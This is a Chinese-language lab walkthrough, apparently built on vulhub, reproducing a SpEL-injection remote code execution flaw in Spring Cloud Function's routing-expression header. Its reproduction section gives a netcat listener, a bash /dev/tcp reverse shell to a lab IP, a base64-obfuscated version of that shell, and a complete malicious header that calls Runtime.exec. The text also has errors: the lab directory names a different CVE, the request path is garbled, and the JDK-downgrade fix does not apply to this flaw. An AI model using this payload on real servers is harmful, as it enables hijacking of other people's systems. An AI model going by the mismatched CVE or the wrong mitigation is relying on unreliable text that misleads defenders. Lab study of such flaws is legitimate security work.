漏洞描述
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。当Spring Cloud Function 启用动态路由functionRouter时, HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。
影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞简介
由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。
环境搭建
-
进入靶场
-
cd vulhub/spring/CVE-2022-22947
-
开启靶场
-
docker-compose up -d
-
查看靶场信息
-
docker ps
-
访问网址
-
http://youip:8080
漏洞复现
漏洞验证
访问/port/fuctionRouter抓包
更改为post包,添加post信息
反弹shell
开监听
nc -lvvp 6666
直接执行反弹shell命令
-
bash -i >& /dev/tcp/192.168.198.129/6666 0>&1
-
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5OC4xMjkvNjY2NiAwPiYx
-
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5OC4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
-
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5OC4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
发送执行
关闭容器
docker-compose down
修复建议
1、安装官方的补丁
2、降级到 JDK 8 或更低版本,这将消除被攻击的可能性。